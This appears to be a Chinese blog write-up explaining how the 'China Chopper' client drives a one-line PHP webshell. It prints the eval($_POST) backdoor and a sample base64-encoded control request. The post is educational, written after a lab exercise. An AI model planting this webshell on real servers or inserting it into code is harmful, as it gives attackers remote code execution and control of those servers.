中国菜刀与一句话木马之间的原理分析

参考文章 https://blog.csdn.net/gscaiyucheng/article/details/24911375 http://www.ifuryst.com/archives/caidao.html https://www.yongshen.me/index.php/archives/1199.html

0x00前言

前段时间在做sql注入实验室的时候 需要用到 dump into 的这个函数将一句话木马写入到服务器中 再使用中国菜刀进行连接 至于原理就不知道了 所以通过前几天的学习 把原理弄了一下 所以便来写一下write up

0x01一句话木马原理解析

我常使用的php一句话 <?php @eval($_POST[key]); ?> 很多时候都会把 一句话木马传到服务器上面 那么这是上面原理呢 eval函数 会将括号里面的代码通过php语言来进行执行 $_POST函数的意思就是来收集 请求方法为post 的名字为key表单里面的值 所以这个一句话木马的密码其实就是表单的名字

0x02中国菜刀原理解析

中国菜刀是一个非常方便的工具我们在使用的过程中可以直接添加 然后选择脚本的类型 输入密码就可以连接了 至于原理前几天我查看了些资料今天来总结一下 中国菜刀的本质其实就是 模拟发包

所以我们先从简单的说起 在这里我使用的是火狐浏览器 的hackbar 来实现发包 事先我先上传了res.php 的内容为<?php @eval($_POST[‘key’]); ?> 然后通过hackbar 发包 如下图

所以根据之前所说的 key是表单的名字 一句话木马会获取表单命为key的表单的内容然后进行执行 这里表单的内容是 phpinfo()这里我之前理解了很久所以我再说的清晰点 $_POST[‘key’] 这个是获取表单名为key的表单的内容 然后实际上此时的语句是 eval(phpinfo()) 然后eval函数再把phpinfo() 当做php代码来进行执行 所以就会出现以下的结果

然后进行正常中国菜刀的分析

首先中国菜刀会发送一个http的包 op=@eval(base64_decode($_POST[key]));&key=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOztwcmludCgiaGVsbG8gUEhQISIpOztlY2hvKCJ8PC0iKTtkaWUoKTs=

后面那么一长串的是什么呢 显而易见的 是 通过 base64 加密后的数据 那么为什么要进行base64 加密呢 因为为了防止中途的特殊字符传输失败 然后解码之后的结果是这样的 如下图

ini_set()函数是为了取消报错信息 set_time_limit(0)是为了防止超时 防止在上传文件大马的时候超时set_magic_quotes_runtime() 这个是关闭魔术引用这个已经被弃用在 在php5.3 起 所以这里就不多阐述

base64_decode()是解码之前传输中加密的base64包

opendir() 函数 的意思就是打开一个目录句柄 如果成功就会返回目录流 失败的话就会返回false 或者 error readdir()函数的意思就是 打开目录流里面的条目 同理成功则返回 失败则返回 error 和false

fileperms() 函数返回文件或目录的权限若成功,则返回文件的访问权限。若失败,则返回 false filesize() 函数返回指定文件的大小 若成功,则返回文件大小的字节数。若失败,则返回 false 并生成一条 E_WARNING 级的错误

所以我们可以简单的想 中国菜刀发的这么一个包 包的代码是打开指定目录的句柄,然后进行循环扫描,并附带上权限、时间、大小、日期 这个包我这里用package来代替 所以在操作的时候其实就是 key = package 然后通过eval函数执行package的php代码 从而最终达成目的

发表评论

电子邮件地址不会被公开。 必填项已用*标注